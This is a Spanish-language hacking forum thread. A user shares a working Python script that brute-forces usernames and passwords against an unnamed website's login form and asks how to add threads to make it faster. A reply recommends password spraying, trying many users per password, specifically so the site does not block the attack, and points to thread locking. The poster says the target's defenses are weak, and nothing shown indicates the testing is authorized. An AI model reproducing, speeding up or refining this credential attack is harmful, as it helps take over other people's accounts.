comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] [Python] Hacer que mi brute forcer basico use threads

  • 3 Respuestas
  • 1154 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado darkchoto

  • *
  • Underc0der
  • Mensajes: 24
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Octubre 20, 2015, 05:41:55 am »
Buenas a todos.

Me he programado un script que me hace bruteforce de usuarios y contraseñas en una web x, el asunto es que mi script funciona a la perfeccion pero es algo lento. Me gustaria saber como implementarle threading para acelerar el proceso de bruteforce.

La parte del codigo que hace el brute es la siguiente:

Código: Python
  1. #users y passwords son dos listas como se debe suponer
  2. for i in range(len(users)):
  3.         post['user'] = users[i]
  4.         print '\nProbando usuario: %s' % users[i]
  5.         for x in range(len(passwords)):
  6.                 post['pass'] = passwords[x]
  7.                 r = requests.post('http://x.com' , data=post , headers=headers)
  8. #Esta parte solo muestra en la terminal con la de las pass que se han probado y la password en si en que va
  9.                 sys.stdout.write('\rPassword: %s        %s/%s' % (passwords[x],passwords.index(passwords[x])+1,len(passwords)))
  10.                 sys.stdout.flush()
  11.                 if not r.content.find('Welcome') > -1:
  12.                         continue
  13.                 else:
  14.                         print '\nUser:%s Password:%s' % (users[i],passwords[x])
  15.                         break
  16.                
  17.  

De ante mano gracias a cualquier ayuda que me puedan brindar.
« Última modificación: Diciembre 10, 2015, 01:42:07 pm por WhiZ »

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Octubre 20, 2015, 06:33:30 am »
Hola @You are not allowed to view links. Register or Login! Para hacerlo podés recurrir a la clase Thread del módulo You are not allowed to view links. Register or Login.

Una recomendación: hacé un ataque por contraseña en vez de hacerlo por usuario. Con eso evitás que bloqueen el ataque. Creá una lista de contraseñas comunes y obtené una lista de usuarios de la aplicación web a analizar (podrías hacer una app para eso tmb). Con las dos listas en mano, probá múltiples usuarios por contraseña. Sería algo así :

Código: Python
  1. passwords= []
  2. users = []
  3.  
  4. for password in passwords:
  5.     for user in users:
  6.         try:
  7.             # resto del código
  8.         except Exception as e:
  9.             # manejo de errores

Saludos!
WhiZ


Desconectado darkchoto

  • *
  • Underc0der
  • Mensajes: 24
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Octubre 21, 2015, 01:27:42 am »
You are not allowed to view links. Register or Login
Hola @You are not allowed to view links. Register or Login! Para hacerlo podés recurrir a la clase Thread del módulo You are not allowed to view links. Register or Login.

Una recomendación: hacé un ataque por contraseña en vez de hacerlo por usuario. Con eso evitás que bloqueen el ataque. Creá una lista de contraseñas comunes y obtené una lista de usuarios de la aplicación web a analizar (podrías hacer una app para eso tmb). Con las dos listas en mano, probá múltiples usuarios por contraseña. Sería algo así :

Código: Python
  1. passwords= []
  2. users = []
  3.  
  4. for password in passwords:
  5.     for user in users:
  6.         try:
  7.             # resto del código
  8.         except Exception as e:
  9.             # manejo de errores

Saludos!
WhiZ
Gracias por tu respuesta, entiendo tu sugerencia y es excelente idea, aunque en el sitio que uso mi bruteforcer no necesito hacerlo de esa forma porque sus medidas de seguridad contra bruteforcing de contraseñas a sus usuarios son muy pobres.

Pasando al real motivo de mi post (la aplicacion de multi-threading) a mi script para acelerar el proceso, he leido y creo entender un mas o menos como funciona la clase mencionada pero no logro aplicarlo a mi script. He leido que lo mas recomendable en casos parecidos al mio es usar colas con el modulo Queue, aunque no comprendo bien como hacerlo funcionar con mi script y poder seguir usando la parte del contador de passwords.

Espero tu o alguien mas me pueda dar una luz con esto.

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Octubre 23, 2015, 02:30:01 pm »
You are not allowed to view links. Register or Login
entiendo tu sugerencia y es excelente idea, aunque en el sitio que uso mi bruteforcer no necesito hacerlo de esa forma porque sus medidas de seguridad contra bruteforcing de contraseñas a sus usuarios son muy pobres.

Más allá de la página que estés auditando en este momento, siempre te conviene hacer un código flexible. En todo caso, lo que yo haría es un script que pregunte cómo realizar el ataque: por usuario o por contraseña.

You are not allowed to view links. Register or Login
Pasando al real motivo de mi post (la aplicacion de multi-threading) a mi script para acelerar el proceso, he leido y creo entender un mas o menos como funciona la clase mencionada pero no logro aplicarlo a mi script. He leido que lo mas recomendable en casos parecidos al mio es usar colas con el modulo Queue, aunque no comprendo bien como hacerlo funcionar con mi script y poder seguir usando la parte del contador de passwords.

En las aplicaciones que emplean varios hilos, si éstos necesitan acceder a un mismo recurso, lo ideal es bloquear el acceso al mismo mientras esté siendo utilizado. En tu caso, podés hacer esto con la You are not allowed to view links. Register or Login.

En You are not allowed to view links. Register or Login de Raul González Duque, precisamente en la sección "Sincronización" del capítulo "Threads", podés encontrar una buena explicación.

Espero que te sirva!

Saludos!
WhiZ


 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 5271
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1452
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2013
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2471
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Problem al instalar Windows "cualquier windows"

Iniciado por Made

Respuestas: 7
Vistas: 2817
Último mensaje Septiembre 03, 2012, 04:53:08 pm
por Made